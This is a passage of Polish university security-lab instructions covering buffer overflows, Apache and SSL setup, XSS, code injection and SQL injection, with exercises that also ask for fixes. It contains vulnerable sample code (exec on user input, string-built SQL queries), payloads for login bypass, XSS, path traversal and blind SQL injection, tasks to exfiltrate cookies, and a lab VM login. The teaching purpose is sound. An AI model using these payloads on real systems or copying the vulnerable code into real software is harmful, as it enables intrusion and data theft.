  564. "\x90" to kod szesnastkowy operacji NOP, który umożliwia rozszerzenie pułapki i zwiększe prawdopodobieństwa powodzenia ataku,
  565. krotność powtórzeń 100 i 50 wynikają z rozmiaru przepełnianego bufora i wielkości shellcode, należy je obliczyć,
  566. ze względu na to, że architektura x86 używa schematu little endian, adresy pamięci podajemy w odwrotnej kolejności.
  567.  
  568. Istnieje wiele zabezpieczeń przed błędami przepełnienia bufora, poczynając od prostych zmian w strukturze programu, poprzez specjalną kontrolę długości danych, wykorzystanie bezpieczniejszych odpowiedników funkcji kopiujących dane (np. strncpy, dynamiczną alokacje pamięci, aż po użycie specjalnych bibiotek kontrolujących rozmiar danych (np. Libsafe).
  569.  
  570. Proszę zwrócić uwagę, że aktualnie kompilator GCC domyślnie ma włączoną opcję zabezpieczającą przed nadpisaniem stosu, dlatego na potrzebę tych zajęć należy skompilować program vuln.c następująco:
  571.  
  572. gcc -z execstack -fno-stack-protector vuln.c -o vuln
  573. Potrzebna wiedza
  574.  
  575. Znajomość języka C i umiejętność obsługi kompilatora gcc
  576. Rozumienie idei błędu przepełnienia bufora
  577. Rozumienie schematu przechowywanie zmiennych w pamięci i adresowania w architekturze x86.
  578. Dodatkowe informacje
  579.  
  580. Warto przypomnieć sobie notatki z wykładu dotyczące bezpiecznego programowania. Prezentowane ataki wymagają zrozumienia działania systemu operacyjnego. Szczególnie polecamy:
  581.  
  582. Jon Erickson: "Hacking - sztuka penetracji", Helion 2004
  583. Informacje organizacyjne
  584.  
  585. Część zajęć dotycząca shellcode'u powinna zostać przeprowadzona na maszynie wirtualnej z systemem Metasploitable 2. Maszyna jest uruchomiona na serwerze maszyn wirtualnych na VMWare. Aby uzyskać dostęp należy:
  586.  
  587. zalogować się sesją ssh na maszynę volt.iem.pw.edu.pl
  588. na volcie: ssh user@10.146.30.101
  589.  
  590. hasło: user
  591. Po zalogowaniu do maszyny powinnien być widoczny znak zachęty w postaci:
  592.  
  593. user@metasploitable:~$
  594. na maszynie wirtualnej Metasploitable2 należy utworzyć katalog o nazwie takiej jak login.
  595. w utworzonym katalogu należy umieścić odpowiednie pliki (shellcode, kod źródłowy, kod programu testowego); shellcode.bin można skopiować z /home/user/shellcode.bin (proszę nie usuwać tego pliku).
  596. Przykładowe zadania
  597.  
  598. Przeprowadź atak na program login, tak aby hasło zostało uznane za poprawne bez jego podawania.
  599. Zmodyfikuj program login, tak aby nie był możliwy atak przez przepełnienie bufora. (Zaproponuj 2 różne modyfikacje.)
  600. Wykorzystując błąd w programie vuln uzyskaj dostęp do linii poleceń.
  601. Zaproponuj dwie poprawione wersję programu pin, odporne na błąd typów zmiennych.
  602. Zabezpiecz program vuln przed atakiem polegającym na przepełnieniu bufora. Zaproponuj dwa różne rozwiązania.
  603. Przeprowadź atak na program o buforze o innej długośći niż 500 bajtów (np. 600, 700).
  604. 1. memins.c - Program demonstrujący lokowanie zmiennych na stosie i stercie (0,8 kb) B. Chaber, 25.02.2014 11:08
  605. 2. shellcode.bin - Shellcode (0,0 kb) B. Chaber, 25.02.2014 11:08
  606.  
  607. Laboratorium 8 (Konfiguracja bezpiecznych serwisów sieciowych -- Apache) Ostatnia modyfikacja: B. Sawicki 18.04.2016 18:17
  608. Cel zajęć
  609.  
  610. Uruchomienie, skonfigurowanie i zabezpieczenie usług serwera WWW. Demonstracja z jakimi uprawnieniami działa serwer i jak to wpływa na bezpieczeństwo danych.
  611.  
  612. Wprowadzenie
  613.  
  614. Pierwszym zadaniem będzie zainstalowanie serwera Apache, wstępne skonfigurowanie i przetestowanie poprawnej pracy. Wszystkie zmiany dotyczą pliku konfiguracyjnego nazywanego najczęściej httpd.conf. W przypadku problemów konieczna będzie analiza logów error_log i access_log.
  615.  
  616. Uruchamianie Apache'a w trybie "debug" :
  617.  
  618. od$ apache2 -d . -f apache2.conf -X
  619. volt$ httpd -d . -f httpd.conf -X
  620. Konfiguracja dotycząca wybranych katalogów może być przechowywana w pliki httpd.conf w znacznikach <Directory ...>, albo w pliku .htaccess. Szczególnie istotny jest parametr: Options, który można ustawić na: ExecCGI, FollowSymLinks, Includes, Indexes
  621.  
  622. Do ograniczenia dostępu do katalogu można wykorzystać mechanizmy uprawnień systemu plików, albo też specjalnego parametru konfiguracyjnego Allow/Deny oraz Require. Korzystając z programu htpasswd łatwo można stworzyć bazę użytkowników mających dostęp do zasobów.
  623.  
  624. Podstawą dzisiejszych aplikacji internetowych są programy działające po stronie serwera. Mamy wiele technologii, które wspierają ten proces: SSI, CGI, PHP, Python itd. Trzeba mieć świadomość z jakimi uprawnieniami działa ten program. Jest to szczególnie ważne jeżeli dojdzie do ataku, bo atakujący będzie działał w systemie właśnie z takimi uprawnieniami.
  625.  
  626. Potrzebna wiedza
  627.  
  628. Umiejętność prostych zmian w konfiguracji serwera Apache.
  629. Dodatkowe informacje
  630.  
  631. http://httpd.apache.org/docs/current/
  632.  
  633. Hasła dla Google: apache
  634.  
  635. Przykładowe zadania
  636.  
  637. Uruchomienie serwera Apache, zmiana strony głównej i przetestowanie.
  638. Ochrona wybranych katalogów przez indeksowaniem.
  639. Ochrona wybranych katalogów przez dostępem.
  640. Dostęp do katalogu na hasło (użycie htpasswd)
  641. Uruchomienie mechanizmu CGI oraz przetestowanie uprawnień z jakimi on działa.
  642. Uruchomienie mod_php i przetestowanie z jakimi uprawnieniami on działa.
  643. Uruchomienie mod_python i przetestowanie z jakimi uprawnieniami on działa.
  644. 1. apache2.conf - Plik z konfiguracją dla apache2 (Ubuntu, np. od.iem.pw.edu.pl) (8,3 kb) B. Chaber, 17.04.2016 22:07
  645. 2. httpd.conf - Plik z konfiguracją dla demona httpd (FreeBSD, np. volt.iem.pw.edu.pl) (17,2 kb) B. Sawicki, 20.04.2015 11:13
  646.  
  647. Laboratorium 9 (Konfiguracja bezpiecznych serwisów sieciowych -- Apache+SSL) Ostatnia modyfikacja: B. Sawicki 6.05.2016 15:22
  648. Cel zajęć
  649.  
  650. Uruchomienie i skonfigurowanie usług działających z wykorzystaniem protokołu SSL. Generowanie certyfikatów i ich podpisywanie.
  651.  
  652. Wprowadzenie
  653.  
  654. Uruchomienie https
  655. Protokół SSL/TLS i biblioteka OpenSSL daje możliwość ustanowienia bezpiecznego połączenia wielu różnych programów. W trakcje zajęć zajmiemy się konfiguracją serwera stron WWW Apache w połączeniu z modułemmod_ssl
  656.  
  657. W celu uruchomienia serwera obsługującego połączenia protokołu https, konieczne jest zainstalowanie modułu mod_ssl.
  658.  
  659. Ceryfikat samopodpisany
  660. Do wygenerowania odpowiednich kluczy kryptograficznych i certyfikatów wykorzystamy program openssl.
  661.  
  662. Zaczynamy od poleceń potrzebnych do wygenerowania klucza:
  663.  
  664. #Tworzenie klucza RSA
  665. openssl genrsa -des3 -out testowy.key 1024
  666.  
  667. #Podglad klucza
  668. openssl rsa -noout -text -in testowy.key
  669. Następującym poleceniem stworzymy samopodpisany certyfikat:
  670.  
  671. openssl req -new -x509 -days 365 -key testowy.key -out testowy.crt
  672.  
  673. #Podgląd certyfikatu
  674. openssl x509 -noout -text -in testowy.crt
  675. Certyfikacja pełna
  676. Proces uzyskania certyfikatu podpisanego przez zewnętrzną organizację rozpoczyna się podobnie jak w przypadku certyfikatu samopodpisanego - od wygenerowania kluczy. Następnie należy wygenerować prośbę o certyfikat:
  677.  
  678. #Stworzenie pliku prosby o certyfikacje
  679. openssl req -new -key test.key -out test.csr
  680.  
  681. #Podglad prosby
  682. openssl req -noout -text -in test.csr
  683. Plik prośby *.csr powinien być przekazany do urzędu certyfikującego (CA). Urząd certyfikujący korzystając ze swojego klucza i certyfikatu podpisuje prośbę, która od tego momentu staje się podpisanym certyfikatem. Podpisywanie prośby nie jest już jednolinijkowym wywołaniem openssl, a więc wykorzystamy skrypt sign.shSkrypt ten zakłada, że klucz urzędu certyfikującego znajduje się w pliku ca.key, a jego certyfikat w plikuca.crt. Jeśli tak będzie, to jego wywołanie jest proste:
  684.  
  685. ./sign.sh test.csr
  686. Potrzebna wiedza
  687.  
  688. Podstawy administracji systemem FreeBSD i instalowania w nim oprogramowania.
  689. Umiejętność prostych zmian w konfiguracji serwera Apache.
  690. Rozumienie protokołu SSL i podstawowa znajomość biblioteki openssl.
  691. Dodatkowe informacje
  692.  
  693. Hasła dla Google: apache, mod_ssl
  694.  
  695. Przykładowe zadania
  696.  
  697. Uruchomienie serwera z obsługą https z certyfikatem samopodpisanym.
  698. Uruchomienie serwera korzystającego z certyfikatu podpisanego przez inny serwer.
  699. Doprowadzenie do sytuacji, w której przeglądarka będzie bez ostrzeżeń akceptowała wygenerowany certyfikat.
  700. 1. httpd-ssl.conf - Przykładowy plik z konfiguracją SSL dla Apache (10,3 kb) B. Chaber, 25.02.2014 11:06
  701. 2. sign.sh - Skrypt do podpisywania CSR (1,9 kb) B. Chaber, 25.02.2014 11:07
  702.  
  703. Laboratorium 10 (Bezpieczeństwo aplikacji internetowych - XSS) Ostatnia modyfikacja: B. Sawicki 6.05.2016 15:26
  704. Cel zajęć
  705.  
  706. Celem zajęć jest zapoznanie z potencjalnymi błędami i zagrożeniami na które narażone są aplikacje internetowe. W czasie zajęć zostaną zaprezentowane przykładowe ataki XSS oraz sposoby naprawy aplikacji, aby była na nie odporna.
  707.  
  708. Ćwiczenie z użyciem mod_python
  709.  
  710. Jedną z metod pozwalających na korzystanie z języka Python do tworzenia aplikacji internetowych jest wykorzystanie modułu Apache mod_python. Do realizacji zadań na zajęciach wystarczy jego uruchomienie, oraz konfiguracja poprzez dodanie kilku linii w konfiguracji serwera Apache dotyczącej określonego katalogu.
  711.  
  712. AddHandler mod_python .py
  713. PythonHandler mod_python.publisher
  714. PythonDebug On
  715. Atak XSS
  716.  
  717. Do celu demonstracji ataku posłużymy się bardzo prostą aplikacją. Składa się ona z formularza w języku HTML
  718.  
  719. <!DOCTYPE html>
  720. <html>
  721. <head>
  722. <meta charset="utf-8"/>
  723. </head>
  724. <h3>Jak się nazywasz?</h3>
  725. <form action="welcome.py" method=GET>
  726. <input type="text" name="name">
  727. <input type="submit" value="Wyślij">
  728. </form>
  729. </html>
  730. oraz skryptu welcome.py, który obsługuje obliczanie wyrażeń.
  731.  
  732. #!/usr/bin/env python
  733. # -*- coding: utf-8 -*-
  734. def index(req, name=''):
  735. html = '<html>'
  736. html += 'Witaj ' + name
  737. html += '<p>Miło mi Cię poznać.</p>'
  738. html += '</html>'
  739. return html
  740. Powyższy skrypt zawiera poważny błąd polegający braku sprawdzenia poprawności zmiennej name, którą użytkownik wprowadził w formularzu. Wykorzystując ten błąd można wprowadzić na stronę dowolny kod Javascript, który będzie uruchomiony w przez przeglądarkę.
  741.  
  742. Przeprowadź atak XSS na przykładową aplikację, którego celem jest:
  743.  
  744. zmiana tła strony,
  745. automatyczne przełączenie na dowolną inną stronę,
  746. wyświetlenie reklamy (obrazka zewnętrznego),
  747. przesłanie cookie na zewnętrzny serwer,
  748. zaproponuj poprawioną wersję skryptu.
  749.  
  750.  
  751. Ćwiczenie z użyciem Gruyere
  752.  
  753. Zajęcia przeprowadzane będą na przykładowej aplikacji, o nazwie Gruyere (http://google-gruyere.appspot.com). Aplikacja ta jest napisana w języku Python i posiada wbudowany serwer HTTP, dlatego może zostać uruchomiona niezależnie od serwerów takich jak Apache HTTP.
  754.  
  755. Gruyere jest aplikacją, w której specjalnie nie zostały zaimplementowane zabezpieczenia przeciwko XSS i SQL Injection.
  756. Należy pamiętać, że w każdej aplikacji, która ma być dostępna publicznie, programista ma obowiązek zaimplementować zabezpieczenia przeciwko atakom XSS czy SQL Injection. W obecnych czasach większość tego typu zabezpieczeń zapewniana jest przez różne frameworki do budowy aplikacji internetowych jednak świadomość tego typu luk jest konieczna.
  757.  
  758. Uruchamianie Gruyere
  759.  
  760. 1. Aplikację Gruyere będziemy uruchamiać na maszynie volt.iem.pw.edu.pl. Należy się na nią zalogować, a następnie skopiować kod aplikacji z /tmp/gruyere do swojego katalogu domowego:
  761.  
  762. lab $ ssh chaberb@volt
  763. od$ cp /tmp/gruyere-code.zip ~
  764. od$ mkdir ~/gruyere
  765. od$ cd ~/gruyere
  766. od$ unzip gruyere-code.zip
  767.  
  768. 2. Ponieważ na jednym serwerze będzie działać wiele aplikacji każda z nich musi zajmować inny port. Port na którym działa aplikacja jest zdefiniowany w linii 147 w pliku gruyere.py:
  769.  
  770. od$ vim gruyere.py +147
  771.  
  772. 3. Następnie należy włączyć insecure_mode (linia 104) i dodać IP swojego komputera do tablicy allowed_ips (linia 788) , w ten sposób aplikacja będzie widoczna tylko dla nas poprzez publiczy adres volta.
  773.  
  774. od$ python gruyere.py
  775.  
  776. Gruyere started...
  777. http://od.iem.pw.edu.pl:1337/
  778. http://od.iem.pw.edu.pl:1337/7602302410972024715/
  779.  
  780. 4. Otwórzmy w przeglądarce podany przez Gruyere adres: http://od.iem.pw.edu.pl:1337/7602302410972024715/
  781.  
  782. Proszę zauważyć, że oprócz adresu URL Gruyere wygenerował też specjalny kod indentyfikujący instancję aplikacji. Dzięki temu (oraz temu, że aplikacja działa lokalnie) ograniczone zostało ryzyko ataku na maszynę. Podając zły kod lub nie podając go w ogóle aplikacja zakończy swoją pracę z błędem:
  783.  
  784. DANGER! Request without unique id: /newaccount.gtl
  785. Exit: bad_id
  786.  
  787. 5. Wyłączyć serwer można otwierając adres http://od.iem.pw.edu.pl:1337/7602302410972024715/quitserver
  788.  
  789. Obsługa Gruyere:
  790.  
  791. Gruyere umożliwia publikację wpisów w sposób przypominający prostą ścianę Facebooka lub Twitter. Domyślnie, niezalogowany użytkownik ma dostęp do przeglądania publicznych wpisów innych użytkowników. Pierwszym krokiem jest utworzenie swojego konta w aplikacji. UWAGA: Proszę nie podawać swoje prawdziwego hasła.
  792.  
  793. Proszę zwrócić uwagę czy i ew. jakim ograniczeniom poddawana jest nazwa użytkownika i hasło.
  794.  
  795. Po dodaniu konta proszę:
  796. - dodać publiczny wpis,
  797. - ustawić brakujące elementy profilu (nazwę, adres URL avataru, stronę domową, ulubiony kolor i prywatny wpis)
  798. - wgrać do aplikacji plik poprzez opcję 'Upload'
  799.  
  800. Atak XSS
  801.  
  802. Jest to jeden z popularniejszych rodzajów ataku. Polega on na umieszczeniu złośliwego kodu w treści strony aplikacji. Złośliwy kod (np. Java Script) działa po stronie klienta i (co najgorsze) w kontekście atakowanej aplikacji. Taki kod ma pełną kontrolę nad przeglądarką użytkownika, może na przykład:
  803.  
  804. zmodyfikować kod HTML strony (dodać swoją reklamę, ukryć przycisk wylogowania),
  805. wykraść ciasteczko zalogowanego użytkownika, dzięki czemu atakujęcy może się później pod niego podszyć itp.
  806. Potencjalnymi miejscami, które są podatne na tego typu ataki są pola tekstowe, w których użytkownik może podawać treść, która może być potem interpretowana jako HTML. Przykładem takiego pola jest pole ulubionego koloru w danych profilowych.
  807. Wpisując w tym polu wartość: blue widzimy, że wygenerowany kod HTML to: <b><span style='color:blue'>Bartek Chaber</span></b>
  808. Co się stanie, kiedy w polu 'Profile color' wpiszemy: blue' onclick='window.alert("Bazinga!");?
  809. Żeby odpowiedzieć na to pytanie należy zapisać zmiany profilu, przejść na stronę główną i podejrzeć jej źródło.
  810. Należy znaleźć swoją nazwę użytkownika i zobaczyć jaki jest kod HTML tego elementu.
  811. Widać, że ma zdefiniowaną akcję onclick. Proszę spróbować kliknąć na swoją nazwę użytkownika przy publicznej notatce. Co się stanie, gdy zalogujemy się na innego użytkownika i klikniemy ten sam link?
  812. Czy można sprawić, żeby użytkownik przypadkiem uruchomił nasz JavaScript?
  813.  
  814.  
  815. Ciasteczka
  816.  
  817. Protokół HTTP jest bezstanowy. Nie pamięta połączeń, nie potrafi zorientować się, że ostatnie 10 zapytań, które obsłużył były zapytaniami jednego użytkownika zwiedzającego stronę. Ciasteczka są to dane, które przeglądarka trzyma w swojej pamięci podręcznej aby aplikacja internetowa mogła określić, że przychodzące żądania pochodzą od jednego użytkownika. Jest to najpopularniejsza metoda utrzymywania ciągłości sesji aplikacji webowej.
  818.  
  819. Zwykle aplikacja taka generuje pewien unikalny identyfikator, który jest wystarczającym potwierdzeniem, że to właśnie z tym użytkownikiem serwer prowadzi dialog. Ciasteczka są przypisane do domeny i przez nią mogą zostać odczytane. Ciasteczka mają też również swoją datę ważności (jak wszystkie produkty spożywcze) oraz ścieżkę poniżej której obowiązuje. Aby wyświetlić ciasteczka skojarzone z domeną aktualnej strony można wykonać skrypt javascript zawierający polecenie:
  820.  
  821. window.alert(document.cookie);
  822.  
  823. Pokaże to treść ciasteczka dla tej domeny.
  824. Analogicznie możliwe jest przypisywanie ciasteczka z javascriptu:
  825.  
  826. document.cookie="FOO=bar; domain=.iem.pw.edu.pl; path =/;"
  827.  
  828. W powyższym przykładzie zdefiniowaliśmy ciasteczko o nazwie "FOO", dla domeny "iem.pw.edu.pl" (warto zauważyć, że domena ciasteczka MUSI mieć przynajmniej dwie kropki), dla wszystkich podstron (od korzenia - /).
  829.  
  830. Atak Path traversal
  831.  
  832. Kolejny atak pokazuje wrażliwość serwera HTTP na podstępnie zmodyfikowany adres strony. Ręcznie modyfikując adres URL można uzyskać dostęp do teoretycznie niedostępnych zasobów. Przykładowo, jeśli nasz adres aktualnej strony to:
  833.  
  834. http://127.0.0.1:8123/3965682000482361439/login.html
  835.  
  836. i otrzymaliśmy plik /home/www/login.html, to teoretycznie wywołując:
  837.  
  838. http://127.0.0.1:8123/3965682000482361439/../plik.txt
  839.  
  840. powinniśmy otrzymać /home/plik.txt.
  841.  
  842. Na szczęście nowoczesne przeglądarki internetowe są wyczulone na elementy adresu typu: '..', '../'. Jednak, zastępując znak '.' i '/' ich zakodowanymi odpowiednikami (czyli '%2e' i '%2f'') można uzyskać dostęp do niedostępnych zasobów.
  843.  
  844. Przykład:
  845.  
  846. Proszę przetestować adres: http://127.0.0.1:8123/<identyfikator>%2f%2e%2e%2fsecret.txt
  847.  
  848. Czy udało się wyświetlić plik secret.txt?
  849.  
  850. Co warto wiedzieć?
  851. Jak odczytać wartość ciasteczek z JavaScript?
  852. Jak wywołać zdalnie skrypt PHP z JavaScript?
  853. Jak zapisać wartość ciasteczka z JavaScript?
  854. Jak odczytać treść HTML elementu strony o pewnym ID?
  855. Jak zapisać adres w pasku adresu przeglądarki, żeby przeglądarka nie optymalizowała adresu?
  856. Jak pobrać argument przesłany GET z PHP?
  857.  
  858. Przykładowe zadania:
  859.  
  860. 1. Zmodyfikować prezentowany atak XSS, tak, aby przekazywał on skryptowi PHP ciasteczka użytkownika i zapamiętywał je w pliku.
  861. 2. Zmodyfikować prezentowany atak XSS, tak, aby wydobywał on tajną notatkę użytkownika
  862. 3. Zmodyfikować ciastka przeglądarki tak, aby zostać zalogowanym przez użytkownika
  863.  
  864.  
  865. 1. gruyere-code.zip - Gruyere, do uruchomienia lokalnie (36,3 kb) B. Chaber, 25.02.2014 11:06
  866.  
  867. Laboratorium 11 (Bezpieczeństwo aplikacji internetowych - Injection) Ostatnia modyfikacja: B. Sawicki 6.05.2016 15:33
  868. Cel zajęć
  869.  
  870. Celem zajęć jest zapoznanie z metodą ataku na aplikację internetową polegającą na wstrzyknięciu kodu zmieniającego działanie aplikacji na serwerze. Omówiona zostanie zasada działania tego ataku oraz sposób naprawy aplikacji aby była na niego odporna.
  871.  
  872. Ćwiczenie z użyciem mod_python
  873.  
  874. Atak Code Injection
  875. Do celu demonstracji ataków posłużymy się bardzo prostą aplikacją Kalkulatora. Składa się ona z formularza w języku HTML,
  876.  
  877. <html>
  878. <h3>Kalkulator</h3>
  879. <form action="calc.py" method=GET>
  880. <input type="text" name="expr">
  881. <input type="submit" value="Oblicz">
  882. </form>
  883. </html>
  884. oraz skryptu calc.py, który obsługuje obliczanie wyrażeń.
  885.  
  886. def index(req, expr='0'):
  887. html = '<html>'
  888. html += 'Wynik: '
  889. exec "result=%s" % expr
  890. html += str(result)
  891. html += '</html>'
  892. return html
  893. Powyższy skrypt zawiera poważny błąd polegający braku sprawdzenia poprawności zmiennej expr, którą użytkownik wprowadził w formularzu. Wykorzystując ten błąd można wstrzyknąć (ang. Injection) dowolny kod napisany w języku Python, który zostanie wykonany na serwerze.
  894. Podpowiedź 1: Wiele poleceń można rozdzielać średnikami.
  895. Podpowiedź 2: Manipulacja zmienną html pozwoli na wyświetlenie wyników.
  896. Podpowiedź 3: Wykorzystaj pełne możliwości Pythona. Możesz używać polecenia import.
  897.  
  898. Polecenia:
  899.  
  900. 1. Przeprowadź atak (Code injection) na przykładową aplikację kalkulatora, którego celem jest:
  901. - wyświetlenie zawartości katalogu /etc/ na serwerze,
  902. - rozpoznanie nazwy i wersji systemu operacyjnego serwera,
  903. - ściągnięcie z sieci dowolnego pliku i uruchomienie go.
  904. 2. Zaproponuj modyfikację programu blokującą omawiany atak.
  905.  
  906.  
  907.  
  908. Atak SQL Injection
  909.  
  910. W roli ofiary ataku SQL Injection wystąpi prosty system przechowujący w bazie danych sekrety. Zacznijmy od stworzenia pliku bazy danych:
  911.  
  912. from sqlite3 import *
  913. db = connect('secrets.db')
  914. cur = db.cursor()
  915. cur.execute("CREATE TABLE secrets(key TEXT, secret TEXT)")
  916. cur.execute("INSERT INTO secrets VALUES('1234', 'Hello world')")
  917. cur.execute("INSERT INTO secrets VALUES('qwerty', 'Top secret')")
  918. db.commit()
  919. db.close()
  920. Plik html formularza:
  921.  
  922. <html>
  923. <h3>SQL Secrets</h3>
  924. <form action="sql_secrets.py" method=GET>
  925. Enter key:
  926. <input type="text" name="key" size=50>
  927. <input type="submit" value="Get secret">
  928. </form>
  929. </html>
  930. Skrypt sql_secrets.py działający na serwerze:
  931.  
  932. import sqlite3
  933. dbfile = '/home/{.....}/secrets.db'
  934. def index(req, key=''):
  935. conn = sqlite3.connect(dbfile)
  936. c = conn.cursor()
  937. html = '<html>'
  938. html += 'Key: %s <br/>' % key
  939. query = "SELECT * FROM secrets WHERE key='%s'" % key
  940. for row in c.execute(query):
  941. html += 'Secret: %s <br/>' % row[1]
  942. html += '</html>'
  943. return html
  944.  
  945.  
  946. Atak SQL Injection wykorzystuje błędy w walidacji danych wejściowych. Zmienna key jest bezpośrednio wstawiana w zapytanie SQL, dlatego odpowiednio nią manipulując można wpłynąć na działanie serwera bazy danych.
  947. Podpowiedź 1: zobacz co się stanie jeżeli key zawiera znak '
  948. Podpowiedź 2: dwa zapytania można łączyć komendą UNION
  949.  
  950. Polecenia:
  951. 1. Uruchom aplikację sql_secrets.py, a następnie zademonstruj w jaki sposób można wykraść wszystkie sekrety.
  952. 2. W jaki sposób atakujący może poznać wszystkie pola key?
  953. 3. Zaproponuj modyfikację programu blokującą omawiany atak.
  954.  
  955.  
  956.  
  957. Ćwiczenie z użyciem Gruyere
  958.  
  959. Tak samo jak w poprzednim ćwiczeniu prezentację ataku przedstawimy na przykładzie aplikacji Gruyere. Dostęp do bazy danych w aplikacji Gruyere został wykorzystany podczas operacji logowania, co jest bardzo powszechną praktyką. W kodzie aplikacji zostały zaimplementowane dwie różne metody uwierzytelniania użytkownika. Najpierw omówiona zostanie prostsza i bardziej niebezpieczna metoda.
  960.  
  961. Przed uruchomieniem aplikacji należy dokonać małej modyfikacji kodu. Należy odkomentować linie: 286 i 289, komentując jednocześnie linie 287 i 290. Odkomentowane linie to nasz pierwszy przypadek testowy. Jak widzimy za sprawdzenie tożsamości użytkownika odpowiada zapytanie SQL postaci:
  962.  
  963. SELECT 1 FROM login WHERE login = 'bartek' AND pw = 'akurat-je-tu-napisze'
  964.  
  965. Powyższe zapytanie odpowiada sytuacji, kiedy użytkownik logując się w formularzu logowania wpisał bartekjako użytkownik, natomiast jako hasło akurat-je-tu-napisze. Działanie tego zapytania polega na tym, że zwróci ono jeden wiersz tylko wtedy, gdy warunek po WHERE będzie spełniony. W przeciwnym wypadku nie zostanie zwrócony żaden wiersz. Problem w tym przypadku polega na tym, że zarówno login i hasło są wpisywane bezpośrednio do zapytania, więc użytkownik logując się modyfikuje to zapytanie.
  966. Biorąc przykład z poprzednich zajęć przeanalizujmy sytuację, kiedy użytkownik spróbuje wpisać jako nazwę użytkownika brie (to nazwa użytkownika istniejącego w systemie) oraz jako hasło wpisze foo' OR 1 = 1 --
  967. Zobaczmy jak wygląda teraz zapytanie:
  968.  
  969. SELECT 1 FROM login WHERE login = 'brie' AND pw = 'foo' OR 1 = 1 --'
  970.  
  971. Można zauważyć tu dwie bardzo ważne rzeczy. Podobnie jak w poprzednim ćwiczeniu udało się nam przedwcześnie zamknąć apostrof, przez co reszta treści, którą wpisaliśmy w polu hasłą została zinterpretowana jako kod SQL. Korzystając z właściwości operatorów logicznych sprawiliśmy, że warunek
  972.  
  973. login = 'brie' AND pw = 'foo' OR 1 = 1
  974.  
  975. jest prawdziwy niezależnie od wartości hasła. Drugą ważną rzeczą, która została wykorzystana jest -- na końcu naszej treści hasła. Podwójny znak - oznacza w SQL komentarz. Wszystkie znaki występujące po --są ignorowane. W ten sposób udało nam się pozbyć niezamkniętego apostrofu.
  976.  
  977. Poprawa mechanizmu uwierzytelniania
  978.  
  979. Trzeba przyznać, że przedstawiony powyżej mechanizm uwierzytelniania jest mało skuteczny. Dlatego przygotowano wersję poprawioną. Aby zaczęła ona działać należy z powrotem zakomentować linie 286 i 289, a odkomentować 287 i 290. Przyjrzyjmy się ponownie naszemu zapytaniu SQL.
  980.  
  981. SELECT pw FROM login WHERE login = 'bartek'
  982.  
  983. Jak widać teraz baza danych służy nam do wybrania hasła danego użytkonika, które następnie jest porównywane z podanym hasłem. Od razu zdajemy sobie sprawę z tego, że w tym wypadku modyfikacji SQL możemy dokonać tylko dzięki modyfikacji pola login. Przedstawiona kwerenda SQL zabezpiecza nas już przed powołanym dostępem (aby uzyskać dostęp do czyjegoś konta są wymagane bardziej wyszukane metody ataku). Jednak mimo to można wykorzystać je do wydobycia informacji o systemie, użytkownikach oraz ich hasłach.
  984.  
  985. Ponieważ w trakcie wykonywania zapytać SQL może pojawić się błąd należy sekcje z zapytaniami otaczać klauzulą try/except i wyłapywać wszystkie wyjątki. W badanej aplikacji w przypadku jakiegokolwiek wyjątku użytkownikowi pojawi się informacja o błędzie bazy danych ('Database error'). Jest to wskazówka, które pozwala rozeznać się w bazie danych.
  986.  
  987. Rozważmy przypadek w którym aplikacja wyświetla dwa komunikaty: Nie znaleziono użytkownika oraz Nieprawidłowe hasło. Mając informację, że istnieją dwa takie komunikaty atakujący może podawać w polu login różne wartości i badać, który użytkownik istnieje, a który nie. Pozbawienie atakującego tej informacji utrudni mu zadanie włamania do systemu. Na tej samej zasadzie komunikat "Błąd bazy danych" jest nadmiarowy i potencjalnie niebzezpieczny.
  988. Proszę przetestować następujące zapytanie powstałe w wyniku wpisania w polu login wartości brie' AND foo = 3 --. Powstanie zapytanie:
  989.  
  990. SELECT pw FROM login WHERE login = 'brie' AND foo = 3 --'
  991.  
  992. Spodziewamy się, że to zapytanie zwróci wyjątek, ponieważ nie istnieje kolumna foo w tabeli login.Testując różne wartości możemy określić w jakiej strukturze przechowywane są dane, co pozwoli atakującemu skuteczniej przygotowywać złośliwe zapytania.
  993. Poza strukturą możliwe jest też badanie zawartości bazy danych. Należy do tego wykorzystać instrukcje warunkowe SQL.
  994.  
  995. Przykładowym zapytaniem testującym dane w bazie danych może być:
  996.  
  997. SELECT pw FROM login WHERE login = 'brie' AND CASE WHEN length(pw) > 3 THEN 1/0 ELSE 1 END -- '
  998.  
  999. Trzeba tu zauważyć, że w tym momencie pojawiają nam się niuanse wynikające z zastosowanej bazy danych. Bardzo możliwe, że powyższe zapytanie nie zwróci wyjątku, ponieważ już sam serwer bazy danych wychwyci niebezpieczne dzielenie przez zero i bez wykonywania zapytania zwróci pusty wynik. Aby kompilator zapytania bazy danych nie mógł wychwycić takiej konstrukcji można zastosować zmodyfikowane zapytanie:
  1000.  
  1001. SELECT pw FROM login WHERE login = 'brie' AND CASE WHEN length(pw) > 3 THENlength(pw)/0 ELSE 1 END -- '
  1002.  
  1003. dzięki zastąpieniu konstrukcji 1/0 konstrukcją length(pw)/0 baza danych nie jest w stanie na 100% stwierdzić, że to zapytanie będzie błędne. Mimo to niektóre silniki baz danych nie wyrzucają wyjątku nawet podczas dzielenia przez 0 zwracając zamiast tego wartość NULL. Przykładem takiego silniku jest baza SQLite3 używana w Gruyere. Na szczęscie studiując dokumentację do Sqlite3 można znaleźć funkcję, która w pewnym przypadku wyrzuca wyjątek. Jednak znalezienie tej funkcji pozostawia się studentowi w ramach ćwiczenia.
  1004.  
  1005. Przykładowe zadania:
  1006.  
  1007. Przypadek prosty (SELECT 1 FROM login WHERE login = '...' AND pw = '...')
  1008. 1. Zalogować się na użytkownika brie nie korzystając z sekwencji komentującej --
  1009.  
  1010. Przypadek trudniejszy (SELECT pw FROM login WHERE login = '...')
  1011. 2. Określić ile znaków ma hasło użytkownika administrator,
  1012. 3. Sprawdzić czy użytkownik administrator posiada w haśle znaki specjalne '#', '%', '$', '@',
  1013. 4. Zaproponować dwa sposoby uniemożliwienia atakującemu badania hasła użytkowników,
  1014. 5. Zaproponować treść pola login tak, aby badać istnienie kolumn w innej tabeli niż login
  1015.  
  1016. 1. gruyere-sql.tar - Zmodyfikowana wersja Gruyere z obsługą bazy danych SQlite3 (107,0 kb) B. Chaber, 25.02.2014 11:05
  1017.  
  1018. Projekt -- własna, bezpieczna aplikacja internetowa Ostatnia modyfikacja: B. Chaber 11.05.2016 09:06
  1019. Cel zajęć
  1020.  
  1021. Celem zajęć jest napisanie prostej aplikacji internetowej spełniającej wysokie standardy bezpieczeństwa.
  1022.  
  1023. Wprowadzenie
  1024.  
